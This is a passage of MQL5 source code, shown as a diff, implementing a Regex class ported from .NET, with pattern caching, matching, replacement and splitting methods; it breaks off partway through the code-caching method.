+#include <Internal\TimeSpan\TimeSpan.mqh>
+#include <Internal\Generic\LinkedList.mqh>
+#include <Internal\Generic\Dictionary.mqh>
+#include "RegexOptions.mqh"
+#include "RegexCode.mqh"
+#include "RegexTree.mqh"
+#include "RegexParser.mqh"
+#include "RegexReplacement.mqh"
+#include "RegexWriter.mqh"
+#include "RegexMatchCollection.mqh"
+#include "RegexRunner.mqh"
+#include "RegexInterpreter.mqh"
+//+------------------------------------------------------------------+
+//| Purpose: The Regex class represents a single compiled instance of| 
+//| a regular expression.                                            |
+//+------------------------------------------------------------------+
+//+------------------------------------------------------------------+
+//| Represents an immutable, compiled regular expression. Also       |
+//| contains static methods that allow use of regular expressions    |
+//| without instantiating a Regex explicitly.                        |
+//+------------------------------------------------------------------+
+class Regex
+  {
+protected:
+   string            m_pattern;
+   RegexOptions      m_roptions;
+private:
+   static const TimeSpan MaximumMatchTimeout;
+public:
+   static const TimeSpan InfiniteMatchTimeout;
+protected:
+   TimeSpan          m_internalMatchTimeout;// timeout for the execution of this regex
+private:
+   static const string DefaultMatchTimeout_ConfigKeyName;
+public:
+   static const TimeSpan FallbackDefaultMatchTimeout;
+   static const TimeSpan DefaultMatchTimeout;
+protected:
+   Dictionary<int,int>*m_caps;        // if captures are sparse, this is the hashtable capnum->index
+   Dictionary<string,int>*m_capnames; // if named captures are used, this maps names->index
+   string            m_capslist[];    // if captures are sparse or named captures are used, this is the sorted list of names
+   int               m_capsize;       // the size of the capture array
+   RegexTree        *m_tree;
+   RunnerReference *m_runnerref;      // cached runner
+   ReplacementReference*m_replref;    // cached parsed replacement pattern
+   RegexCode        *m_code;          // if interpreted, this is the code for RegexIntepreter
+   bool              m_refsInitialized;// Default is false
+   static            LinkedList<CachedCodeEntry*>m_livecode;// the cached of code that are currently loaded
+   static int        m_cacheSize;     // Default is 15
+public:
+   static const int  MaxOptionShift;
+public:
+   //--- Constructors:
+   //+------------------------------------------------------------------+
+   //| Initializes a new instance of the Regex class.                   |
+   //+------------------------------------------------------------------+
+                     Regex() : m_refsInitialized(false)
+     {
+      this.m_internalMatchTimeout=DefaultMatchTimeout;
+     }
+   //+------------------------------------------------------------------+
+   //| Creates and compiles a regular expression object for the         |
+   //| specified regular expression.                                    |
+   //+------------------------------------------------------------------+
+                     Regex(const string pattern) : m_refsInitialized(0)
+     {
+      Initialize(pattern,None,DefaultMatchTimeout,false);
+     }
+   //+------------------------------------------------------------------+
+   //| Creates and compiles a regular expression object for the         |
+   //| specified regular expression with options that modify the        |
+   //| pattern.                                                         |
+   //+------------------------------------------------------------------+
+                     Regex(const string pattern,RegexOptions options) : m_refsInitialized(0)
+     {
+      Initialize(pattern,options,DefaultMatchTimeout,false);
+     }
+   //+------------------------------------------------------------------+
+   //| Initializes a new instance of the Regex class for the specified  |
+   //| regular expression,with options that modify the pattern and a    |
+   //| value that specifies how long a pattern matching method should   |
+   //| attempt a match before it times out.                             |
+   //+------------------------------------------------------------------+
+                     Regex(const string pattern,RegexOptions options,const TimeSpan &matchTimeout) : m_refsInitialized(0)
+     {
+      Initialize(pattern,options,matchTimeout,false);
+     }
+   //--- Destructors:     
+   //+------------------------------------------------------------------+
+   //| Destructor without parameters.                                   |
+   //+------------------------------------------------------------------+
+                    ~Regex()
+     {
+      if(CheckPointer(m_tree)==POINTER_DYNAMIC)
+        {
+         delete m_tree;
+        }
+      if(CheckPointer(m_caps)==POINTER_DYNAMIC)
+        {
+         delete m_caps;
+        }
+      bool deleteRun=true;
+      bool deleteRepl = true;
+      bool deleteCode = true;
+      for(LinkedListNode<CachedCodeEntry*>*current=m_livecode.First(); current!=NULL; current=current.Next())
+        {
+         if(CheckPointer(current.Value())==POINTER_DYNAMIC)
+           {
+            if(current.Value().RunnerRef()==m_runnerref)
+              {
+               deleteRun=false;
+              }
+            if(current.Value().ReplRef()==m_replref)
+              {
+               deleteRepl=false;
+              }
+            if(current.Value().Code()==m_code)
+              {
+               deleteCode=false;
+              }
+           }
+        }
+      if(CheckPointer(m_replref)==POINTER_DYNAMIC && deleteRepl)
+        {
+         delete m_replref;
+        }
+      if(CheckPointer(m_runnerref)==POINTER_DYNAMIC && deleteRun)
+        {
+         delete m_runnerref;
+        }
+      if(CheckPointer(m_code)==POINTER_DYNAMIC && deleteCode)
+        {
+         delete m_code;
+        }
+     }
+private:
+   //+------------------------------------------------------------------+
+   //| General constructor with parameters.                             |
+   //+------------------------------------------------------------------+
+                     Regex(const string pattern,RegexOptions options,const TimeSpan &matchTimeout,const bool useCache) : m_refsInitialized(0)
+     {
+      Initialize(pattern,options,matchTimeout,useCache);
+     }
+   //--- Methods:
+   //+------------------------------------------------------------------+
+   //| Initialize.                                                      |
+   //+------------------------------------------------------------------+
+   void Initialize(const string pattern,RegexOptions options,const TimeSpan &matchTimeout,const bool useCache)
+     {
+      RegexTree *tree;
+      CachedCodeEntry *cached=NULL;
+      if(pattern==NULL)
+        {
+         Print("Argument 'pattern'= Null.");
+         //--- return
+         return;
+        }
+      if(options<None || (((int) options)>>MaxOptionShift)!=0)
+        {
+         Print("Argument 'options' out of range.");
+         //--- return 
+         return;
+        }
+      if((options    &ECMAScript)!=0
+         && (options  &~(ECMAScript|IgnoreCase|Multiline
+         #ifdef _DEBUG
+         |Debug
+         #endif
+         ))!=0)
+        {
+         Print("Argument 'options' out of range");
+         //--- return
+         return;
+        }
+      ValidateMatchTimeout(matchTimeout);
+      //--- Try to look up this regex in the cache.  We do this regardless of whether useCache is true since there's really no reason not to. 
+      string key=IntegerToString(options)+":"+pattern;
+      cached=LookupCachedAndUpdate(key);
+      this.m_pattern=pattern;
+      this.m_roptions=options;
+      this.m_internalMatchTimeout=matchTimeout;
+      if(cached==NULL)
+        {
+         //--- Parse the input
+         tree=RegexParser::Parse(pattern,(RegexOptions)m_roptions);
+         //--- Extract the relevant information
+         m_capnames=tree.CapNames();
+         tree.GetCapsList(m_capslist);
+         m_code       = RegexWriter::Write(tree);
+         m_caps       = m_code.Caps();
+         m_capsize    = m_code.CapSize();
+         InitializeReferences();
+         m_tree=tree;
+         if(useCache)
+           {
+            cached=CacheCode(key);
+           }
+        }
+      else
+        {
+         m_caps       = cached.Caps();
+         m_capnames   = cached.CapNames();
+         cached.GetCapList(m_capslist);
+         m_capsize    = cached.CapSize();
+         m_code       = cached.Code();
+         m_runnerref  = cached.RunnerRef();
+         m_replref    = cached.ReplRef();
+         m_refsInitialized=true;
+        }
+     }
+public:
+   //--- Methods:
+   //+------------------------------------------------------------------+
+   //| Pattern.                                                         |
+   //+------------------------------------------------------------------+
+   string Pattern()
+     {
+      //--- return pattern
+      return (m_pattern);
+     }
+   //+------------------------------------------------------------------+
+   //| Validates that the specified match timeout value is valid.       |
+   //| The valid range is:                                              | 
+   //| TimeSpan::Zero < matchTimeout <= Regex::MaximumMatchTimeout.     |
+   //+------------------------------------------------------------------+
+   static void ValidateMatchTimeout(const TimeSpan &matchTimeout)
+     {
+      if(InfiniteMatchTimeout==matchTimeout)
+        {
+         //--- return
+         return;
+        }
+      //--- Change this to make sure timeout is not longer then Environment.Ticks cycle length:
+      if(TimeSpan::Zero()<matchTimeout && matchTimeout<=MaximumMatchTimeout)
+        {
+         //--- return
+         return;
+        }
+      Print("Argument 'matchTimeout' out of range.");
+     }
+   //+------------------------------------------------------------------+
+   //| Specifies the default RegEx matching timeout value (i.e. the     |
+   //| timeout that will be used if no explicit timeout is specified).  |
+   //+------------------------------------------------------------------+
+   static TimeSpan InitDefaultMatchTimeout()
+     {
+      //--- retrun result
+      return (FallbackDefaultMatchTimeout);
+     }
+   //+------------------------------------------------------------------+
+   //| Gets the runner reference.                                       |
+   //+------------------------------------------------------------------+
+   RunnerReference*RunnerReference()
+     {
+      //--- return runner reference
+      return (m_runnerref);
+     }
+   //+------------------------------------------------------------------+
+   //| Gets the weak reference.                                         |
+   //+------------------------------------------------------------------+
+   ReplacementReference*ReplacementReference()
+     {
+      //--- return week reference
+      return (m_replref);
+     };
+   Dictionary<int,int>*Caps()
+     {
+      //---
+      return (m_caps);
+     }
+   Dictionary<string,int>*CapNames()
+     {
+      //--- return 
+      return (m_capnames);
+     }
+   int CapSize()
+     {
+      //--- 
+      return (m_capsize);
+     }
+   //+------------------------------------------------------------------+
+   //| Returns the options passed into the constructor.                 |
+   //+------------------------------------------------------------------+
+   RegexOptions Options()
+     {
+      //--- return
+      return (m_roptions);
+     }
+   //+------------------------------------------------------------------+
+   //| Escape metacharacters within the string.                         |
+   //+------------------------------------------------------------------+
+   static string Escape(const string str)
+     {
+      if(StringLen(str)==NULL)
+        {
+         Print("Argument 'str' = NULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      //--- return result
+      return RegexParser::Escape(str);
+     }
+   //+------------------------------------------------------------------+
+   //| Unescape character codes within the string.                      |
+   //+------------------------------------------------------------------+
+   static string Unescape(const string str)
+     {
+      if(StringLen(str)==NULL)
+        {
+         Print("Argument 'str' = NULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      //--- return result
+      return RegexParser::Unescape(str);
+     }
+   //+------------------------------------------------------------------+
+   //| CacheCount.                                                      |
+   //+------------------------------------------------------------------+
+   static int CacheCount()
+     {
+      //--- return count
+      return (m_livecode.Count());
+     }
+   //+------------------------------------------------------------------+
+   //| CacheSize.                                                       |
+   //+------------------------------------------------------------------+
+   static int CacheSize()
+     {
+      //--- return size
+      return (m_cacheSize);
+     }
+   //+------------------------------------------------------------------+
+   //| CacheSize.                                                       |
+   //+------------------------------------------------------------------+
+   static void CacheSize(const int value)
+     {
+      if(value<0)
+        {
+         Print("Argument 'value' out of range.");
+         //--- return
+         return;
+        }
+      m_cacheSize=value;
+      if(m_livecode.Count()>m_cacheSize)
+        {
+         while(m_livecode.Count()>m_cacheSize)
+           {
+            m_livecode.RemoveLast();
+           }
+        }
+     }
+   //+------------------------------------------------------------------+
+   //| The match timeout used by this Regex instance.                   |
+   //+------------------------------------------------------------------+
+   TimeSpan MatchTimeout()
+     {
+      //--- return result
+      return (m_internalMatchTimeout);
+     }
+   //+------------------------------------------------------------------+
+   //| True if the regex is leftward.                                   |
+   //|                                                                  |
+   //| Indicates whether the regular expression matches from right to   |
+   //| left.                                                            |
+   //+------------------------------------------------------------------+
+   bool RightToLeft()
+     {
+      //--- return result
+      return UseOptionR();
+     }
+   //+------------------------------------------------------------------+
+   //| Returns the regular expression pattern passed into the           |
+   //| constructor.                                                     |
+   //+------------------------------------------------------------------+
+   string ToString()
+     {
+      //--- return result
+      return (m_pattern);
+     }
+   //+------------------------------------------------------------------+
+   //| Returns an array of the group names that are used to capture     |
+   //| groups in the regular expression. Only needed if the regex is not|
+   //| known until runtime, and one wants to extract captured groups.   |
+   //| (Probably unusual, but supplied for completeness.).              |
+   //+------------------------------------------------------------------+
+   void GetGroupNames(string &result[])
+     {
+      if(ArraySize(m_capslist)==NULL)
+        {
+         int max=m_capsize;
+         ArrayResize(result,max);
+         for(int i=0; i<max; i++)
+           {
+            result[i]=IntegerToString(i);
+           }
+        }
+      else
+        {
+         ArrayCopy(result,m_capslist,0,0);
+        }
+     }
+   //+------------------------------------------------------------------+
+   //| Returns an array of the group names that are used to capture     |
+   //| groups in the regular expression. Only needed if the regex is not|
+   //| known until runtime, and one wants to extract captured groups.   |
+   //| (Probably unusual, but supplied for completeness.).              |
+   //+------------------------------------------------------------------+
+   void GetGroupNumbers(int &result[])
+     {
+      if(m_caps==NULL)
+        {
+         int max=m_capsize;
+         ArrayResize(result,max);
+         for(int i=0; i<max; i++)
+           {
+            result[i]=i;
+           }
+        }
+      else
+        {
+         ArrayResize(result,m_caps.Count());
+         DictionaryEnumerator<int,int>*de=m_caps.GetEnumerator();
+         while(de.MoveNext())
+           {
+            result[(int)de.Value()]=(int)de.Key();
+           }
+         delete de;
+        }
+     }
+   //+------------------------------------------------------------------+
+   //| Given a group number, maps it to a group name. Note that nubmered|
+   //| groups automatically get a group name that is the decimal string |
+   //| equivalent of its number.                                        |
+   //+------------------------------------------------------------------+
+   string GroupNameFromNumber(const int index)
+     {
+      int i=index;
+      if(ArraySize(m_capslist)==NULL)
+        {
+         if(i>=0 && i<m_capsize)
+           {
+            //--- return result
+            return IntegerToString(i);
+           }
+         //--- return result
+         return ("");
+        }
+      else
+        {
+         if(m_caps!=NULL)
+           {
+            if(!m_caps.ContainsKey(i))
+              {
+               //--- return result
+               return ("");
+              }
+            i=m_caps[i];
+           }
+         if(i>=0 && i<ArraySize(m_capslist))
+           {
+            //--- return result
+            return (m_capslist[i]);
+           }
+         //--- return result
+         return ("");
+        }
+     }
+   //+------------------------------------------------------------------+
+   //| Given a group name, maps it to a group number. Note that nubmered|
+   //| groups automatically get a group name that is the decimal string |   
+   //| equivalent of its number.                                        |
+   //|                                                                  |
+   //| Returns -1 if the name is not a recognized group name.           |
+   //+------------------------------------------------------------------+
+   int GroupNumberFromName(const string name)
+     {
+      int result=-1;
+      if(name==NULL)
+        {
+         Print("Argument 'name' = NNULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      //--- look up name if we have a hashtable of names
+      if(m_capnames!=NULL)
+        {
+         if(!m_capnames.ContainsKey(name))
+           {
+            //--- return result
+            return (-1);
+           }
+         //--- return result
+         return (m_capnames[name]);
+        }
+      //--- convert to an int if it looks like a number
+      result=0;
+      for(int i=0; i<StringLen(name); i++)
+        {
+         ushort ch=StringGetCharacter(name,i);
+         if(ch>'9' || ch<'0')
+           {
+            //--- return result
+            return (-1);
+           }
+         result *= 10;
+         result += (ch - '0');
+        }
+      //--- return int if it's in range
+      if(result>=0 && result<m_capsize)
+        {
+         //--- return result
+         return (result);
+        }
+      //--- return result
+      return (-1);
+     }
+   //+------------------------------------------------------------------+
+   //| Searches the input string for one or more occurrences of the text|
+   //| supplied in the pattern parameter.                               |
+   //+------------------------------------------------------------------+
+   static bool IsMatch(const string in,const string pattern)
+     {
+      //--- return result
+      return IsMatch(in, pattern, None, DefaultMatchTimeout);
+     }
+   //+------------------------------------------------------------------+
+   //| Searches the in string for one or more occurrences of the text   |
+   //| supplied in the pattern parameter.                               |
+   //+------------------------------------------------------------------+
+   static bool IsMatch(const string in,const string pattern,const RegexOptions options)
+     {
+      //--- return result
+      return IsMatch(in, pattern, options, DefaultMatchTimeout);
+     }
+   //+------------------------------------------------------------------+
+   //| Searches the in string for one or more occurrences of the text   |
+   //| supplied in the pattern parameter.                               |
+   //+------------------------------------------------------------------+
+   static bool IsMatch(const string in,const string pattern,const RegexOptions options,const TimeSpan &matchTimeout)
+     {
+      Regex regex(pattern,options,matchTimeout,true);
+      //--- return result
+      return (regex.IsMatch(in));
+     }
+   //+------------------------------------------------------------------+
+   //| Searches the in string for one or more matches using the         |
+   //| previous pattern, options, and starting position.                |
+   //+------------------------------------------------------------------+
+   bool IsMatch(const string in)
+     {
+      if(in==NULL)
+        {
+         Print("Argument 'in' = NULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      //--- return result
+      return IsMatch(in, UseOptionR() ? StringLen(in) : 0);
+     }
+   //+------------------------------------------------------------------+
+   //| Searches the in string for one or more matches using the         |
+   //| previous pattern and options, with a new starting position.      |
+   //+------------------------------------------------------------------+
+   bool IsMatch(const string in,const int startat)
+     {
+      if(in==NULL)
+        {
+         Print("Argument 'in' = NULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      Match *run=Run(true,-1,in,0,StringLen(in),startat);
+      bool result=(NULL==run);
+      if(CheckPointer(run)==POINTER_DYNAMIC)
+        {
+         delete run;
+        }
+      //--- return result
+      return (result);
+     }
+   //+------------------------------------------------------------------+
+   //| Searches the in string for one or more occurrences of the text|
+   //| supplied in the pattern parameter.                               |
+   //+------------------------------------------------------------------+
+   static Match *Match(const string in,const string pattern)
+     {
+      //--- return result
+      return Regex::Match(in, pattern, None, DefaultMatchTimeout);
+     }
+   //+------------------------------------------------------------------+
+   //| Searches the in string for one or more occurrences of the text|
+   //| supplied in the pattern parameter. Matching is modified with an  |
+   //| option string.                                                   |
+   //+------------------------------------------------------------------+
+   static Match *Match(const string in,const string pattern,const RegexOptions options)
+     {
+      //--- return result
+      return Regex::Match(in, pattern, options, DefaultMatchTimeout);
+     }
+   //+------------------------------------------------------------------+
+   //| Searches the in string for one or more occurrences of the text|
+   //| supplied in the pattern parameter. Matching is modified with an  |
+   //| option string.                                                   |
+   //+------------------------------------------------------------------+
+   static Match *Match(string in,string pattern,RegexOptions options,const TimeSpan &matchTimeout)
+     {
+      Regex *regex=new Regex(pattern,options,matchTimeout,true);
+      //--- return result
+      return (regex.Match(in));
+     }
+   //+------------------------------------------------------------------+
+   //| Matches a regular expression with a string and returns the       |
+   //| precise result as a RegexMatch object.                           |
+   //+------------------------------------------------------------------+
+   Match *Match(const string in)
+     {
+      if(in==NULL)
+        {
+         Print("Argument 'in' = NULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      //--- return result
+      return Regex::Match(in, UseOptionR() ? StringLen(in) : 0);
+     }
+   //+------------------------------------------------------------------+
+   //| Matches a regular expression with a string and returns the       |
+   //| precise result as a RegexMatch object.                           |
+   //+------------------------------------------------------------------+
+   Match *Match(const string in,const int startat)
+     {
+      if(in==NULL)
+        {
+         Print("Argument 'in' = NULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      //--- return result
+      return Run(false, -1, in, 0, StringLen(in), startat);
+     }
+   //+------------------------------------------------------------------+
+   //| Matches a regular expression with a string and returns the       |
+   //| precise result as a RegexMatch object.                           |
+   //+------------------------------------------------------------------+
+   Match *Match(const string in,const int beginning,const int length)
+     {
+      if(in==NULL)
+        {
+         Print("Argument 'in' = NULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      //--- return result
+      return Run(false, -1, in, beginning, length, UseOptionR() ? beginning + length : beginning);
+     }
+   //+------------------------------------------------------------------+
+   //| Returns all the successful matches as if Match was called        |
+   //| iteratively numerous times.                                      |
+   //+------------------------------------------------------------------+
+   static MatchCollection *Matches(const string in,const string pattern)
+     {
+      //--- return result
+      return Regex::Matches(in, pattern, None, DefaultMatchTimeout);
+     }
+   //+------------------------------------------------------------------+
+   //| Returns all the successful matches as if Match was called        |
+   //| iteratively numerous times.                                      |
+   //+------------------------------------------------------------------+
+   static MatchCollection *Matches(const string in,const string pattern,const RegexOptions options)
+     {
+      //--- return result
+      return Regex::Matches(in, pattern, options, DefaultMatchTimeout);
+     }
+   //+------------------------------------------------------------------+
+   //| Returns all the successful matches as if Match was called        |
+   //| iteratively numerous times.                                      |
+   //+------------------------------------------------------------------+
+   static MatchCollection *Matches(const string in,const string pattern,const RegexOptions options,const TimeSpan &matchTimeout)
+     {
+      Regex *regex=new Regex(pattern,options,matchTimeout,true);
+      //--- return result
+      return (regex.Matches(in));
+     }
+   //+------------------------------------------------------------------+
+   //| Returns all the successful matches as if Match was called        |
+   //| iteratively numerous times.                                      |
+   //+------------------------------------------------------------------+
+   MatchCollection *Matches(const string in)
+     {
+      if(in==NULL)
+        {
+         Print("Argument 'in' = NULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      //--- return result
+      return Matches(in, UseOptionR() ? StringLen(in) : 0);
+     }
+   //+------------------------------------------------------------------+
+   //| Returns all the successful matches as if Match was called        |
+   //| iteratively numerous times.                                      |
+   //+------------------------------------------------------------------+
+   MatchCollection *Matches(const string in,const int startat)
+     {
+      if(in==NULL)
+        {
+         Print("Argument 'in' = NULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      //--- return result
+      return new MatchCollection(GetPointer(this), in, 0, StringLen(in), startat);
+     }
+   //+------------------------------------------------------------------+
+   //| Replaces all occurrences of the pattern with the "replacement"   |
+   //| pattern, starting at the first character in the in string.       |
+   //+------------------------------------------------------------------+
+   static string Replace(const string in,const string pattern,const string replacement)
+     {
+      //--- return result
+      return Replace(in, pattern, replacement, None, DefaultMatchTimeout);
+     }
+   //+------------------------------------------------------------------+
+   //| Replaces all occurrences of the "pattern" with the "replacement" |
+   //| pattern, starting at the first character in the in string.       |
+   //+------------------------------------------------------------------+
+   static string Replace(const string in,const string pattern,const string replacement,const RegexOptions options)
+     {
+      //--- return result
+      return Replace(in, pattern, replacement, options, DefaultMatchTimeout);
+     }
+   //+------------------------------------------------------------------+
+   //| Replaces all occurrences of the "pattern" with the "replacement" |
+   //| pattern, starting at the first character in the in string.       |
+   //+------------------------------------------------------------------+
+   static string Replace(const string in,const string pattern,const string replacement,const RegexOptions options,const TimeSpan &matchTimeout)
+     {
+      Regex *regex = new Regex(pattern,options,matchTimeout,true);
+      string result=regex.Replace(in,replacement);
+      delete regex;
+      //--- return result
+      return (result);
+     }
+   //+------------------------------------------------------------------+
+   //| Replaces all occurrences of the "pattern " with the "replacement"|
+   //| pattern, starting at the first character in the in string, using |
+   //| the previous patten.                                             |
+   //+------------------------------------------------------------------+
+   string Replace(const string in,const string replacement)
+     {
+      if(in==NULL)
+        {
+         Print("Argument 'in' = NULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      //--- return result
+      return Replace(in, replacement, -1, UseOptionR() ? StringLen(in) : 0);
+     }
+   //+------------------------------------------------------------------+
+   //| Replaces all occurrences of the (previously defined) "pattern"   |
+   //| with the "replacement" pattern, starting at the first character  |
+   //| in the in string.                                                |
+   //+------------------------------------------------------------------+
+   string Replace(const string in,const string replacement,const int count)
+     {
+      if(in==NULL)
+        {
+         Print("Argument 'in' = NULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      //--- return result
+      return Replace(in, replacement, count, UseOptionR() ? StringLen(in) : 0);
+     }
+   //+------------------------------------------------------------------+
+   //| Replaces all occurrences of the "pattern" with the recent        |
+   //| "replacement" pattern, starting at the character position        |
+   //| "startat.".                                                      |
+   //+------------------------------------------------------------------+
+   string Replace(const string in,const string replacement,const int count,const int startat)
+     {
+      if(in==NULL)
+        {
+         Print("Argument 'in' = NULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      if(in==NULL)
+        {
+         Print("Argument 'replacement' = NULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      //--- A little code to grab a cached parsed replacement object
+      RegexReplacement *repl=m_replref.Get();
+      if(repl==NULL || !(repl.Pattern()==replacement))
+        {
+         repl=RegexParser::ParseReplacement(replacement,m_caps,m_capsize,m_capnames,this.m_roptions);
+         if(CheckPointer(m_replref.Get())==POINTER_DYNAMIC)
+           {
+            delete m_replref.Get();
+           }
+         m_replref.Set(repl);
+        }
+      //--- return result
+      return repl.Replace(GetPointer(this), in, count, startat);
+     }
+   //+------------------------------------------------------------------+
+   //| Replaces all occurrences of the "pattern" with the "replacement" |
+   //| pattern ".".                                                     |
+   //+------------------------------------------------------------------+
+   static string Replace(const string in,const string pattern,MatchEvaluator evaluator)
+     {
+      //--- return result
+      return Replace(in, pattern, evaluator, None, DefaultMatchTimeout);
+     }
+   //+------------------------------------------------------------------+
+   //| Replaces all occurrences of the "pattern " with the recent       |
+   //| "replacement" pattern, starting at the first character ".".      |
+   //+------------------------------------------------------------------+
+   static string Replace(const string in,const string pattern,MatchEvaluator evaluator,const RegexOptions options)
+     {
+      //--- return result
+      return Replace(in, pattern, evaluator, options, DefaultMatchTimeout);
+     }
+   //+------------------------------------------------------------------+
+   //| Replaces all occurrences of the "pattern " with the recent       |
+   //| "replacement" pattern, starting at the first character ".".      |
+   //+------------------------------------------------------------------+
+   static string Replace(const string in,const string pattern,MatchEvaluator evaluator,const RegexOptions options,const TimeSpan &matchTimeout)
+     {
+      Regex regex(pattern,options,matchTimeout,true);
+      string result=regex.Replace(in,evaluator);
+      //--- return result
+      return (result);
+     }
+   //+------------------------------------------------------------------+
+   //| Replaces all occurrences of the "pattern" with the recent        |
+   //| "replacement" pattern, starting at the first character position  |
+   //| ".".                                                             |
+   //+------------------------------------------------------------------+
+   string Replace(const string in,MatchEvaluator evaluator)
+     {
+      if(in==NULL)
+        {
+         Print("Argument 'in' = NULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      //--- return result  
+      return Replace(in, evaluator, -1, UseOptionR() ? StringLen(in) : 0);
+     }
+   //+------------------------------------------------------------------+
+   //| Replaces all occurrences of the "pattern" with the recent        |
+   //| "replacement" pattern, starting at the first character position  |
+   //| ".".                                                             |
+   //+------------------------------------------------------------------+
+   string Replace(const string in,MatchEvaluator evaluator,const int count)
+     {
+      if(in==NULL)
+        {
+         Print("Argument 'in' = NULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      //--- return result 
+      return Replace(in, evaluator, count, UseOptionR() ? StringLen(in) : 0);
+     }
+   //+------------------------------------------------------------------+
+   //| Replaces all occurrences of the (previouly defined) "pattern"    |
+   //| with the recent "replacement" pattern, starting at the character |
+   //| position "startat."                                              |
+   //+------------------------------------------------------------------+
+   string Replace(const string in,MatchEvaluator evaluator,const int count,const int startat)
+     {
+      if(in==NULL)
+        {
+         Print("Argument 'in' = NULL.");
+         //--- return NULL
+         return (NULL);
+        }
+      //--- return result 
+      return RegexReplacement::Replace(evaluator, GetPointer(this), in, count, startat);
+     }
+   //+------------------------------------------------------------------+
+   //| Splits the "in" string at the position defined by "pattern".     |
+   //+------------------------------------------------------------------+
+   static void Split(string &result[],const string in,const string pattern)
+     {
+      Split(result,in,pattern,None,DefaultMatchTimeout);
+     }
+   //+------------------------------------------------------------------+
+   //| Splits the "in" string at the position defined by "pattern".     |
+   //+------------------------------------------------------------------+
+   static void Split(string &result[],const string in,const string pattern,RegexOptions options)
+     {
+      Split(result,in,pattern,options,DefaultMatchTimeout);
+     }
+   //+------------------------------------------------------------------+
+   //| Splits the "in" string at the position defined by "pattern".     |
+   //+------------------------------------------------------------------+
+   static void Split(string &result[],const string in,const string pattern,const RegexOptions options,const TimeSpan &matchTimeout)
+     {
+      Regex regex(pattern,options,matchTimeout,true);
+      regex.Split(result,in);
+     }
+   //+------------------------------------------------------------------+
+   //| Splits the "in" string at the position defined by a previous     |
+   //| "pattern".                                                       |
+   //+------------------------------------------------------------------+
+   void Split(string &result[],const string in)
+     {
+      if(in==NULL)
+        {
+         Print("Argument 'in' = NULL.");
+         //--- return 
+         return;
+        }
+      Split(result,in,0,UseOptionR() ? StringLen(in) : 0);
+     }
+   //+------------------------------------------------------------------+
+   //| Splits the "in" string at the position defined by a previous     |
+   //| "pattern".                                                       |
+   //+------------------------------------------------------------------+
+   void Split(string &result[],const string in,const int count)
+     {
+      if(in==NULL)
+        {
+         Print("Argument 'in' = NULL.");
+         //--- return 
+         return;
+        }
+      RegexReplacement::Split(result,GetPointer(this),in,count,UseOptionR() ? StringLen(in) : 0);
+     }
+   //+------------------------------------------------------------------+
+   //| Splits the "in" string at the position defined by a previous     |
+   //| "pattern".                                                       |
+   //+------------------------------------------------------------------+
+   void Split(string &result[],const string in,const int count,const int startat)
+     {
+      if(in==NULL)
+        {
+         Print("Argument 'in' = NULL.");
+         //--- return 
+         return;
+        }
+      RegexReplacement::Split(result,GetPointer(this),in,count,startat);
+     }
+protected:
+   //+------------------------------------------------------------------+
+   //| InitializeReferences.                                            |
+   //+------------------------------------------------------------------+
+   void InitializeReferences()
+     {
+      if(m_refsInitialized)
+        {
+         Print("Internal error! On file:'"+__FILE__+"'; in function:'"+__FUNCTION__+"'.");
+         //--- return
+         return;
+        }
+      m_refsInitialized=true;
+      m_runnerref  = new RunnerReference();
+      m_replref    = new ReplacementReference();
+     }
+public:
+   //+------------------------------------------------------------------+
+   //| Internal worker called by all the  APIs.                         |
+   //+------------------------------------------------------------------+
+   Match *Run(const bool quick,const int prevlen,const string in,const int beginning,const int length,const int startat)
+     {
+      Match *match;
+      RegexRunner *runner=NULL;
+      if(startat<0 || startat>StringLen(in))
+        {
+         Print("Argument 'start' out of range.");
+         //--- return NULL
+         return (NULL);
+        }
+      if(length<0 || length>StringLen(in))
+        {
+         Print("Argument 'length' out of range.");
+         //--- return NULL
+         return (NULL);
+        }
+      bool fromCache=false;
+      //--- There may be a cached runner; grab ownership of it if we can.
+      if(m_runnerref!=NULL)
+        {
+         fromCache=true;
+         runner=m_runnerref.Get();
+        }
+      //--- Create a RegexRunner instance if we need to
+      if(runner==NULL)
+        {
+         fromCache=false;
+         //--- Use the compiled RegexRunner factory if the code was compiled to MSIL
+         runner=new RegexInterpreter(m_code);
+        }
+      //--- Do the scan starting at the requested position            
+      match=runner.Scan(GetPointer(this),in,beginning,beginning+length,startat,prevlen,quick,m_internalMatchTimeout);
+      if(m_runnerref!=NULL && !fromCache)
+        {
+         if(CheckPointer(m_runnerref.Get())==POINTER_DYNAMIC)
+           {
+            delete m_runnerref.Get();
+           }
+         //--- Release or fill the cache slot
+         m_runnerref.Set(runner);
+        }
+      else if(!fromCache)
+        {
+         delete runner;
+        }
+#ifdef _DEBUG
+      if(Debug() && match!=NULL)
+        {
+         match.Dump();
+        }
+#endif
+      //--- return result
+      return (match);
+     }
+   //+------------------------------------------------------------------+
+   //| Find code cache based on options+pattern.                        |
+   //+------------------------------------------------------------------+
+   static CachedCodeEntry *LookupCachedAndUpdate(const string key)
+     {
+      for(LinkedListNode<CachedCodeEntry*>*current=m_livecode.First(); current!=NULL; current=current.Next())
+        {
+         if(current.Value().Key()==key)
+           {
+            //--- If we find an entry in the cache, move it to the head at the same time. 
+            m_livecode.Remove(current);
+            m_livecode.AddFirst(current);
+            //--- retrun result
+            return (current.Value());
+           }
+        }
+      //--- return result
+      return (NULL);
+     }
+   //+------------------------------------------------------------------+
+   //| Add current code to the cache.                                   |
+   //+------------------------------------------------------------------+
+   CachedCodeEntry *CacheCode(const string key)
+     {
+      CachedCodeEntry *newcached=NULL;
+      //--- first look for it in the cache and move it to the head
+      for(LinkedListNode<CachedCodeEntry*>*current=m_livecode.First(); current!=NULL; current=current.Next())
+        {
+         if(current.Value().Key()==key)
+           {
+            m_livecode.Remove(current);
+            m_livecode.AddFirst(current);
+            //--- return result
